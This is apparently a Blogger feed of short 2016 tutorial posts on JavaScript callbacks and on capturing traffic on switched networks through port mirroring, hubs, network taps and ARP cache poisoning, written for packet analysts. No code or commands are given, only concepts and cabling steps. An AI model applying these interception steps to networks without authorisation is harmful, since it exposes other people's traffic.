tag:blogger.com,1999:blog-39591925563112360462024-03-13T05:58:49.771-07:00Trojan EyeTechnology with SecurityAnonymoushttp://www.blogger.com/profile/01814906484233171847noreply@blogger.comBlogger16125tag:blogger.com,1999:blog-3959192556311236046.post-7656237518438494882016-02-26T01:29:00.000-08:002016-02-26T01:29:00.038-08:00What are Call Back Functions in JavaScript<div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;" trbidi="on">
<br />
<div class="separator" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em; text-align: center;">
<img alt="Programming, Information Security Solutions" border="0" src="https://3.bp.blogspot.com/-HHbTkXop7Uw/VtAVh_AiSyI/AAAAAAAACYo/4AB21xPxnx8/s1600/1.jpg" title="" /></div>
<br />
<div style="text-align: justify;">
Callback functions often seem quite confusing or complicated at first, but if we take a look under <span style="text-align: left;">the hood we’ll find that they’re fairly straightforward. The chances are that you’ve </span><span style="text-align: left;">already used them.</span></div>
<div style="text-align: justify;">
<span style="text-align: left;"><br /></span></div>
<div style="text-align: justify;">
Callbacks are typically used to run a piece of code after a certain event has happened. Whether this event is mouse-clicking on a link, data being written to a database, or just another piece of code finishing executing isn’t important, as it could be just about anything. A callback function itself is typically an anonymous function—a function declared without a name—that’s passed directly into the receiving function as a parameter. Don’t worry if this just seems like jargon right now; we’ll look at code examples soon and you’ll see how easy it actually is!</div>
<div style="text-align: justify;">
<br /></div>
<h2 style="text-align: justify;">
Running a Callback Function</h2>
<div>
<div>
Simply declare a new function called <i>setTimeout</i> that accepts the parameters callback and delay; the names aren’t important—they can be anything you want. The following code snippet demonstrates this (note that you’ll not be able to run this in a JavaScript console):</div>
</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-SA9cRzcXzLE/VtAXlT7STDI/AAAAAAAACY0/T6XfypuSVkA/s1600/callback%2B1.PNG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img alt="Programming, Information Security Solutions" border="0" height="205" src="https://1.bp.blogspot.com/-SA9cRzcXzLE/VtAXlT7STDI/AAAAAAAACY0/T6XfypuSVkA/s640/callback%2B1.PNG" title="" width="640" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<div>
The callback parameter is expected to be a function, which can be invoked at a specific</div>
<div>
point in the <i>setTimeout</i> function 1. In this case you’re passing it a simple anonymous function 2 that will write a message to the console log. So when the <i>setTimeout</i> function deems it appropriate, it will invoke the callback and the message will be logged to the console. That’s not so difficult, is it?</div>
</div>
<div>
<br /></div>
<div>
<div>
If JavaScript is your first programming language you’ll have no idea how weird this concept of passing anonymous functions around looks to those coming in from different backgrounds. But the ability to operate like this is one of JavaScript’s great strengths. Typically you won’t generally look inside the functions running the callbacks,whether it’s <i>setTimeout</i>,<u> jQuery’s</u> ready, or Node’s <i>createServer</i>. The documentation for all of these will tell you what the expected parameters are, and also what parameters it may return.</div>
</div>
<div>
<br /></div>
<h2 style="text-align: left;">
CallBack Scope</h2>
<div>
<div>
Something to bear in mind when passing anonymous functions around like this is that the callback doesn’t inherit the scope of the function it’s passed into. The callback function isn’t declared inside the destination function, merely invoked from it. A callback function inherits the scope in which it’s defined. </div>
</div>
<div>
Let’s understand this with the idea of scope circles and look at this visually in figure</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-MGlF4r57ux8/VtAZSK2uWkI/AAAAAAAACZA/RWT8176ErV4/s1600/callback%2B2.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Programming, Information Security Solutions" border="0" height="400" src="https://1.bp.blogspot.com/-MGlF4r57ux8/VtAZSK2uWkI/AAAAAAAACZA/RWT8176ErV4/s400/callback%2B2.PNG" title="" width="397" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
Here you can see that the callback has its own local scope inside the global scope, as that’s where requestB is defined. This is all very well and good if your callback will only need access to its inherited scope, but what if you want it to be smarter? What if you want to use data from your asynchronous function in your callback? Currently the example callback function has a dollar amount hard-coded into it, but what if you want that value to be dynamic, to be a variable? Assuming this value is set in the setTimeout function, how do you get it into the callback? You could save it to the global scope, but as you know by now this would be bad. So you need to pass it as a parameter into the callback function. This should give you something like the scope circles shown in figure</div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-juKonTS25J4/VtAaEX2Bv4I/AAAAAAAACZI/H7u8WPwCuZo/s1600/Capture.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="https://1.bp.blogspot.com/-juKonTS25J4/VtAaEX2Bv4I/AAAAAAAACZI/H7u8WPwCuZo/s400/Capture.PNG" width="378" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
This code snippet will output the same message to the console that you’ve already seen. The big difference now is that the value of dollars is being set in the <i>setTimeout</i> function and being passed to the callback.</div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div>
<br /></div>
</div>
<script>
(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','//www.google-analytics.com/analytics.js','ga');
ga('create', 'UA-73996001-1', 'auto');
ga('send', 'pageview');
</script></div>
Anonymoushttp://www.blogger.com/profile/01814906484233171847noreply@blogger.com0tag:blogger.com,1999:blog-3959192556311236046.post-29171624062184266882016-02-24T22:24:00.000-08:002016-02-24T22:24:22.161-08:00ARP Cache Poisoning of Switched Network<div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://4.bp.blogspot.com/-cw9OpawtM1s/Vs6du8uMMTI/AAAAAAAACYU/7xNTxqcar7U/s1600/ARP-Logo-JPEG-CMYK.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img alt="Programming, Information Security Solutions" border="0" height="179" src="https://4.bp.blogspot.com/-cw9OpawtM1s/Vs6du8uMMTI/AAAAAAAACYU/7xNTxqcar7U/s320/ARP-Logo-JPEG-CMYK.jpg" title="" width="320" /></a></div>
In my previous article <a href="http://trojaneye.blogspot.com/2016/02/sniffing-around-switched-network.html" target="_blank">Sniffing a switched network</a> i gave an introduction, on how a switched networked can be sniffed and what are the popular different techniques. In this article i am explaining one of the techniques i discussed in my previous <a href="http://trojaneye.blogspot.com/2016/02/sniffing-around-switched-network.html" target="_blank">article</a>.<br />
<br />
<h2 style="text-align: left;">
<br /></h2>
<h2 style="text-align: left;">
<br /></h2>
<h2 style="text-align: left;">
The ARP Process</h2>
<div style="text-align: justify;">
The two main types of packet addressing are at layers 2 and 3 of the OSI model. These layer 2 addresses, or MAC addresses, are used in conjunction with whichever layer 3 addressing system you are using. In this book, in accordance with industry-standard terminology, I refer to the layer 3 addressing system as the IP addressing system. All devices on a network communicate with each other on layer 3 using IP addresses. Because switches operate on layer 2 of the OSI model, they are</div>
<div style="text-align: justify;">
cognizant of only layer 2 MAC addresses, so devices must be able to include this information in packets they construct. When a MAC address is not known, it must be obtained using the known layer 3 IP addresses to be able to forward traffic to the appropriate device. This translation process is done through the layer 2 protocol ARP. The ARP process, for computers connected to Ethernet networks, begins when one computer wishes to communicate with another. The transmitting computer first checks its ARP cache to see if it already has the MAC address associated with the IP address of the destination computer. If it does not, it sends an ARP request to the data link layer broadcast address FF:FF:FF:FF:FF:FF, as discussed in Chapter 1. As a broadcast packet, this packet is received by every computer on that particular Ethernet segment. The packet basically asks, “Which IP address owns the XX:XX:XX:XX:XX:XX MAC address?”</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Devices without the destination computer’s IP address simply discard this ARP request. The destination machine replies to the packet with its MAC address via an ARP reply. At this point, the original transmitting computer now has the data link layer addressing information it needs to communicate with the remote computer, and it stores that information in its ARP cache for</div>
<div style="text-align: justify;">
fast retrieval.</div>
<div style="text-align: justify;">
<br /></div>
<h2 style="text-align: justify;">
How ARP Cache Poisoning Works</h2>
<div>
<div>
ARP cache poisoning, sometimes called ARP spoofing, is the process of sending ARP messages to an Ethernet switch or router with fake MAC (layer 2) addresses in order to intercept the traffic of another computer. Figure illustrates this setup.</div>
<div>
<br /></div>
<div style="text-align: justify;">
ARP cache poisoning is an advanced form of tapping into the wire on a switched network. It is commonly used by attackers to send falsely addressed packets to client systems in order to intercept certain traffic or cause denialof- service (DoS) attacks on a target. However, it can also be a legitimate way to capture the packets of a target machine on a switched network.</div>
</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-qejw-j-Q1e8/Vs6dYL_eS0I/AAAAAAAACYQ/Wz-C8QHptGU/s1600/ARP.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Programming, Information Seccurity Solutions" border="0" src="https://1.bp.blogspot.com/-qejw-j-Q1e8/Vs6dYL_eS0I/AAAAAAAACYQ/Wz-C8QHptGU/s1600/ARP.jpg" title="" /></a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
</div>
<script>
(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','//www.google-analytics.com/analytics.js','ga');
ga('create', 'UA-73996001-1', 'auto');
ga('send', 'pageview');
</script></div>
Anonymoushttp://www.blogger.com/profile/01814906484233171847noreply@blogger.com0tag:blogger.com,1999:blog-3959192556311236046.post-1955127210108417182016-02-23T23:40:00.002-08:002016-02-23T23:40:52.589-08:00Tapping out a Switched Network <div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-7hosiwFOIik/Vs1eBEGdYnI/AAAAAAAACX8/M1KRflFfUkY/s1600/1.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img alt="Programming , Information Security Soultions" border="0" src="https://1.bp.blogspot.com/-7hosiwFOIik/Vs1eBEGdYnI/AAAAAAAACX8/M1KRflFfUkY/s1600/1.png" title="" /></a></div>
In my previous article <a href="http://trojaneye.blogspot.com/2016/02/sniffing-around-switched-network.html" target="_blank">Sniffing a switched network</a> i gave an introduction, on how a switched networked can be sniffed and what are the popular different techniques. In this article i am explaining one of the techniques i discussed in my previous <a href="http://trojaneye.blogspot.com/2016/02/sniffing-around-switched-network.html" target="_blank"> article.</a><br />
<div>
<br /></div>
<div>
<div style="text-align: justify;">
A network tap is a hardware device that you can place between two points on your cabling system in order to capture the packets between those two points. As with hubbing out, you place a piece of hardware on the network that allows you to capture the packets you need. The difference is that rather</div>
<div style="text-align: justify;">
than using a hub, you use a specialized piece of hardware designed for network analysis. There are two primary types of network taps: aggregated and non aggregated. Both types of taps sit in between two devices in order to sniff the communications. The primary difference between an aggregated tap and a non aggregated tap is that the non aggregated tap has four ports and the aggregated tap only has three ports. Taps also typically require a power connection, although some include batteries for brief stints of packet sniffing without the need to plug into a power receptacle.</div>
</div>
<div style="text-align: justify;">
<br /></div>
<h2 style="text-align: justify;">
Aggregated Taps</h2>
<div>
<div>
The aggregated tap is the simplest to use. It has only one physical monitor port for sniffing bidirectional traffic. To capture all traffic to and from a single computer plugged into a switch using an aggregated tap, follow these steps:</div>
</div>
<div>
<br /></div>
<div>
<ol style="text-align: left;">
<li>Unplug the computer from the switch.</li>
<li> Plug one end of a network cable into the computer, and plug the other end into the tap’s “in” port.</li>
<li> Plug one end of another network cable into the tap’s “out” port, and plug the other end into the network switch.</li>
<li>Plug one end of a final cable into the tap’s “monitor” port, and plug the other end into the computer that is acting as your sniffer.</li>
</ol>
<div>
The aggregated tap should be connected as shown in Figure. At this point, your sniffer should be capturing all traffic in and out of the computer you’ve plugged into the tap.</div>
</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://4.bp.blogspot.com/-kZ4Xt9GJq1Q/Vs1cMzwy30I/AAAAAAAACXs/uWHdFVItrJs/s1600/aggregated.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Programming, Cyber Security Solutions" border="0" src="https://4.bp.blogspot.com/-kZ4Xt9GJq1Q/Vs1cMzwy30I/AAAAAAAACXs/uWHdFVItrJs/s1600/aggregated.PNG" title="" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<h2 style="clear: both; text-align: left;">
Non aggregated Taps</h2>
<div>
<div style="text-align: justify;">
The nonaggregated tap is slightly more complex than the aggregated type, but it allows a bit more flexibility when capturing traffic. Instead of a single monitor port that can be used to listen to bidirectional communication, the nonaggregated type has two monitor ports. One monitor port is used for sniffing traffic in one direction (from the computer connected to the tap), and the other monitor port is used for sniffing traffic in the other direction (to the computer connected to the tap).</div>
</div>
<div>
<br /></div>
<div>
To capture all traffic to and from a single computer plugged into a switch,</div>
<div>
<div>
follow these steps:</div>
</div>
<div>
<br /></div>
<div>
<div>
<ol style="text-align: left;">
<li>Unplug the computer from the switch.</li>
<li>Plug one end of a network cable into the computer, and plug the other end into the tap’s “in” port.</li>
<li>Plug one end of another network cable into the tap’s “out” port, and plug the other end into the network switch.</li>
<li>Plug one end of a third network cable into the tap’s “monitor A” port, and plug the other end into one NIC on the computer that is acting as your sniffer.</li>
<li> Plug one end of a final cable into the tap’s “monitor B” port, and plug the other end into a second NIC on the computer that is acting as your sniffer.</li>
</ol>
The nonaggregated tap should be connected as shown in Figure</div>
</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://2.bp.blogspot.com/-4NdFmqyXDXA/Vs1dlpkhdxI/AAAAAAAACX4/17_Kq-hnL6Y/s1600/non%2Bagreggated.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Programming , Information Security Solutions" border="0" src="https://2.bp.blogspot.com/-4NdFmqyXDXA/Vs1dlpkhdxI/AAAAAAAACX4/17_Kq-hnL6Y/s1600/non%2Bagreggated.PNG" title="" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<h2 style="clear: both; text-align: left;">
Choosing a Network Tap</h2>
<div>
<div style="text-align: justify;">
Given the difference between these two types of taps, which one is better? In most situations, aggregated taps are preferred, because they require less cabling and don’t need two NICs on your sniffer computer. However, in situations where you are capturing a high volume of traffic or care about traffic going in only one direction, nonaggregated taps are beneficial.</div>
</div>
<div>
<br /></div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
</div>
<script>
(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','//www.google-analytics.com/analytics.js','ga');
ga('create', 'UA-73996001-1', 'auto');
ga('send', 'pageview');
</script>
</div>
Anonymoushttp://www.blogger.com/profile/01814906484233171847noreply@blogger.com0tag:blogger.com,1999:blog-3959192556311236046.post-52852624794830402112016-02-23T04:21:00.001-08:002016-02-23T04:21:58.047-08:00Hubbing a Swiched Network<div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="text-align: left;">
<a href="https://3.bp.blogspot.com/-jw2EZzExs6k/VsxMVeqD0aI/AAAAAAAACWY/w8bzYnlYdeg/s1600/hubbing.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img alt="Programming, Information Security Solutions" border="0" height="134" src="https://3.bp.blogspot.com/-jw2EZzExs6k/VsxMVeqD0aI/AAAAAAAACWY/w8bzYnlYdeg/s320/hubbing.png" title="" width="320" /></a><span style="background-color: white; font-family: "trebuchet ms" , "trebuchet" , "verdana" , sans-serif; font-size: 13.2px; line-height: 18.48px;">In my previous article </span><a href="http://trojaneye.blogspot.com/2016/02/sniffing-around-switched-network.html" target="_blank">Sniffing a switched network</a><span id="goog_908796832"></span><span id="goog_908796833"></span><a href="https://www.blogger.com/"></a><span style="background-color: white; font-family: "trebuchet ms" , "trebuchet" , "verdana" , sans-serif; font-size: 13.2px; line-height: 18.48px;"> i gave an introduction, on how a switched networked can be sniffed and what are the popular different techniques. In this article i am explaining one of the techniques i discussed in my previous <a href="http://trojaneye.blogspot.com/2016/02/sniffing-around-switched-network.html" target="_blank"> </a></span><a href="http://trojaneye.blogspot.com/2016/02/sniffing-around-switched-network.html" target="_blank">article</a><span id="goog_908796839"></span><span id="goog_908796840"></span><a href="https://www.blogger.com/"></a><span style="background-color: white; font-family: "trebuchet ms" , "trebuchet" , "verdana" , sans-serif; font-size: 13.2px; line-height: 18.48px;">.</span></div>
<div style="text-align: left;">
<span style="background-color: white; color: #666666; font-family: "trebuchet ms" , "trebuchet" , "verdana" , sans-serif; font-size: 13.2px; line-height: 18.48px;"><br /></span></div>
<div style="text-align: left;">
<span style="background-color: white; color: #666666; font-family: "trebuchet ms" , "trebuchet" , "verdana" , sans-serif; font-size: 13.2px; line-height: 18.48px;"><br /></span></div>
<div style="text-align: left;">
<span style="background-color: white; color: #666666; font-family: "trebuchet ms" , "trebuchet" , "verdana" , sans-serif; font-size: 13.2px; line-height: 18.48px;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-family: "trebuchet ms" , "trebuchet" , "verdana" , sans-serif;"><span style="font-size: 13.2px; line-height: 18.48px;">Another way to capture the traffic through a target device on a switched network </span></span><span style="font-family: "trebuchet ms" , "trebuchet" , "verdana" , sans-serif; font-size: 13.2px; line-height: 18.48px;">is by hubbing out. This is a technique by which you segment the target </span><span style="font-family: "trebuchet ms" , "trebuchet" , "verdana" , sans-serif; font-size: 13.2px; line-height: 18.48px;">device and your analyser system on the same network segment by plugging </span><span style="font-family: "trebuchet ms" , "trebuchet" , "verdana" , sans-serif; font-size: 13.2px; line-height: 18.48px;">them directly into a hub. Many people think of hubbing out as cheating, but </span><span style="font-family: "trebuchet ms" , "trebuchet" , "verdana" , sans-serif; font-size: 13.2px; line-height: 18.48px;">it’s really a perfect solution in situations where you can’t perform port mirroring </span><span style="font-family: "trebuchet ms" , "trebuchet" , "verdana" , sans-serif; font-size: 13.2px; line-height: 18.48px;">but still have physical access to the switch the target device is plugged into.</span></div>
<div style="text-align: justify;">
<span style="font-family: "trebuchet ms" , "trebuchet" , "verdana" , sans-serif;"><span style="font-size: 13.2px; line-height: 18.48px;">To hub out, all you need is a hub and a few network cables. Once you</span></span></div>
<div style="text-align: justify;">
<span style="font-family: "trebuchet ms" , "trebuchet" , "verdana" , sans-serif;"><span style="font-size: 13.2px; line-height: 18.48px;">have your hardware, connect it as follows:</span></span></div>
<div style="text-align: justify;">
</div>
<br />
<ol>
<li><span style="font-family: "trebuchet ms" , "trebuchet" , "verdana" , sans-serif; font-size: 13.2px; line-height: 18.48px;">Go to the switch the target device resides on and unplug the target fro </span><span style="font-family: "trebuchet ms" , "trebuchet" , "verdana" , sans-serif; font-size: 13.2px; line-height: 18.48px;">the network.</span></li>
</ol>
<ol>
<li><span style="font-family: "trebuchet ms" , "trebuchet" , "verdana" , sans-serif; font-size: 13.2px; line-height: 18.48px;">Plug the target’s network cable into your hub.</span></li>
</ol>
<ol>
<li><span style="font-family: "trebuchet ms" , "trebuchet" , "verdana" , sans-serif; font-size: 13.2px; line-height: 18.48px;">Plug in another cable that connects your analyzer to the hub.</span></li>
</ol>
<ol>
<li><span style="font-family: "trebuchet ms" , "trebuchet" , "verdana" , sans-serif; font-size: 13.2px; line-height: 18.48px;">Plug in a network cable from your hub to the network switch to connect </span><span style="font-family: "trebuchet ms" , "trebuchet" , "verdana" , sans-serif; font-size: 13.2px; line-height: 18.48px;">the hub to the network.</span></li>
</ol>
<br />
<br />
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-family: "trebuchet ms" , "trebuchet" , "verdana" , sans-serif;"><span style="font-size: 13.2px; line-height: 18.48px;">Now you have basically put the target device and your analyzer in the same </span></span><span style="font-family: "trebuchet ms" , "trebuchet" , "verdana" , sans-serif; font-size: 13.2px; line-height: 18.48px;">broadcast domain, and all traffic from your target device will be broadcast so </span><span style="font-family: "trebuchet ms" , "trebuchet" , "verdana" , sans-serif; font-size: 13.2px; line-height: 18.48px;">that the analyzer can capture those packets, as illustrated in Figure</span></div>
<div style="text-align: justify;">
<span style="font-family: "trebuchet ms" , "trebuchet" , "verdana" , sans-serif; font-size: 13.2px; line-height: 18.48px;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://3.bp.blogspot.com/-w5a5rE_97zw/VsxNq8UmJFI/AAAAAAAACWk/w7Z8UBdf3lg/s1600/Capture.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Programming, Information Security Solutions" border="0" src="https://3.bp.blogspot.com/-w5a5rE_97zw/VsxNq8UmJFI/AAAAAAAACWk/w7Z8UBdf3lg/s1600/Capture.PNG" title="" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
In most situations, hubbing out will reduce the duplex of the target device from full to half. While this method isn’t the cleanest way to tap into the wire, it’s sometimes your only option when a switch does not support port mirroring. But keep in mind that your hub will also require a power</div>
<div class="separator" style="clear: both; text-align: justify;">
connection, which can be difficult to find in some instances.</div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<h2 style="clear: both; text-align: justify;">
Finding True Hub</h2>
<div>
<div style="text-align: justify;">
When hubbing out, be sure that you’re using a true hub and not a falsely labeled switch. Several networking hardware vendors have a bad habit of marketing and selling a device as a hub when it actually functions as a low-level switch. If you aren’t working with a proven, tested hub, you will see only your own traffic, not that of the target device. When you find a hub, test it to make sure it really is a hub. If it is, it’s a keeper! The best way to determine whether or not a device is a true hub is to hook up a pair of computers to it and see if one computer can sniff traffic between the other computer</div>
<div style="text-align: justify;">
and various other devices on the network, such as another computer or a printer. If so, that’s a true hub. Since hubs are so antiquated, they are not really mass-produced anymore. It’s almost impossible to buy a true hub off the shelf, so you’ll need to be creative in order to find one. eBay can be a good source of hubs, but be wary, as you may run into the same issue with switches mislabeled as hubs.</div>
</div>
<div style="text-align: justify;">
<span style="font-family: "trebuchet ms" , "trebuchet" , "verdana" , sans-serif; font-size: 13.2px; line-height: 18.48px;"><br /></span></div>
</div>
<script>
(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','//www.google-analytics.com/analytics.js','ga');
ga('create', 'UA-73996001-1', 'auto');
ga('send', 'pageview');
</script></div>
Anonymoushttp://www.blogger.com/profile/01814906484233171847noreply@blogger.com0tag:blogger.com,1999:blog-3959192556311236046.post-58399210795505893742016-02-21T23:08:00.000-08:002016-02-21T23:09:50.589-08:00Port Mirroring a Switched Network<div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://4.bp.blogspot.com/-4D8uv1Igdwk/VsqxfAhuXgI/AAAAAAAACV8/4M8AnTQFozQ/s1600/port%2Bmirroring.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img alt="Programming, Information Security Solution" border="0" height="183" src="https://4.bp.blogspot.com/-4D8uv1Igdwk/VsqxfAhuXgI/AAAAAAAACV8/4M8AnTQFozQ/s320/port%2Bmirroring.png" title="" width="320" /></a></div>
In my previous article <a href="http://trojaneye.blogspot.com/2016/02/sniffing-around-switched-network.html" target="_blank">Sniffing a switched network</a> i gave an introduction, on how a switched networked can be sniffed and what are the popular different techniques. In this article i am explaining one of the techniques i discussed in my previous <a href="http://trojaneye.blogspot.com/2016/02/sniffing-around-switched-network.html" target="_blank">article</a>.<br />
<br />
<div style="text-align: justify;">
Port mirroring, or port spanning, is perhaps the easiest way to capture the traffic from a target device on a switched network. In this type of setup, you must have access to the command-line or web-management interface of the switch on which the target computer is located. Also, the switch must support port mirroring and have an empty port into which you can plug your sniffer. To enable port mirroring, you issue a command that forces the switch to copy all traffic on one port to another port. For instance, to capture the traffic from a device on port 3 of a switch, you could simply plug your analyzer into port 4 and mirror port 3 to port 4, allowing you to see all traffic transmitted and received by your target device. Figure illustrates port mirroring.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://3.bp.blogspot.com/-PrCgiNljuQA/Vsqy5MVh1eI/AAAAAAAACWI/d46TNbSU8fQ/s1600/portm.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Programming, Information Security Solutins" border="0" src="https://3.bp.blogspot.com/-PrCgiNljuQA/Vsqy5MVh1eI/AAAAAAAACWI/d46TNbSU8fQ/s1600/portm.PNG" title="" /></a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
The way that you set up port mirroring depends on the manufacturer of your switch. For most switches, you’ll need to log in to a command-line interface and enter the port mirroring command. </div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
When port mirroring, be aware of the throughput of the ports you are mirroring. Some switch manufacturers allow you to mirror multiple ports to one individual port, which may be very useful when analyzing the communication between two or more devices on a single switch. However, let’s consider what will happen using some basic math. If you have a 24-port switch and you mirror 23 full-duplex 100Mbps ports to one port, you could potentially have 4,600Mbps flowing to that port. This is well beyond the physical threshold of a single port, so it could cause packet loss or network slowdowns if the traffic reached a certain level. In these situations, switches have been known to completely drop excess packets or even “pause” their internal circuitry, preventing communication altogether. Be sure that this type of situation doesn’t occur when you are trying to perform your capture.</div>
</div>
<script>
(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','//www.google-analytics.com/analytics.js','ga');
ga('create', 'UA-73996001-1', 'auto');
ga('send', 'pageview');
</script></div>
Anonymoushttp://www.blogger.com/profile/01814906484233171847noreply@blogger.com0tag:blogger.com,1999:blog-3959192556311236046.post-20029097574485622762016-02-19T22:10:00.002-08:002016-02-19T22:10:13.116-08:00Sniffing around a switched network <div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://3.bp.blogspot.com/-GYUzPH-MTlM/Vsf3sowCG0I/AAAAAAAACVY/DeQOUaFzW64/s1600/Switch.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img alt="Programming, Cyber Security " border="0" height="233" src="https://3.bp.blogspot.com/-GYUzPH-MTlM/Vsf3sowCG0I/AAAAAAAACVY/DeQOUaFzW64/s320/Switch.png" title="" width="320" /></a></div>
In my previous article i gave the idea of how to place a sniffer in a hub network. If you have no idea on how a hub works and how it a network with a hub can be sniffed i suggest you read my previous article <a href="http://trojaneye.blogspot.com/2016/02/sniffing-packets-in-hubbed-network.html" rel="nofollow">Sniffing in a hub network</a>.<br />
<br />
But if you have the idea of how to sniff in a hub network then you can move on to this article easily.<br />
<br />
<br />
<br />
<br />
<br />
<div style="text-align: justify;">
Switches are the most common type of connection device used in modern network environments. They provide an efficient way to transport data via broadcast, unicast, and multicast traffic. As a bonus,switches allow full-duplex communication, meaning that machines can send and receive data simultaneously.Unfortunately for packet analysts, switches add a whole new level of complexity.When you connect a sniffer to a port on a switch, you can see only broadcast traffic and the traffic transmitted and received by your machine, as shown in Figure. </div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://4.bp.blogspot.com/-ieC4074RPGg/VsgCuRk7j0I/AAAAAAAACVs/T7dD9zclLoo/s1600/Sniffing%2Ba%2BSwitched%2BNetwork.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://4.bp.blogspot.com/-ieC4074RPGg/VsgCuRk7j0I/AAAAAAAACVs/T7dD9zclLoo/s1600/Sniffing%2Ba%2BSwitched%2BNetwork.PNG" /></a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
There are four primary ways to capture traffic from a target device on a</div>
<div style="text-align: justify;">
switched network: </div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
</div>
<ul>
<li>Port Mirroring</li>
<li>Hubbing Out</li>
<li>Tapping Out</li>
<li>ARP Cache Poisoning</li>
</ul>
In my next few articles i will try to write these techniques in a simple manner.<br />
<br /></div>
<script>
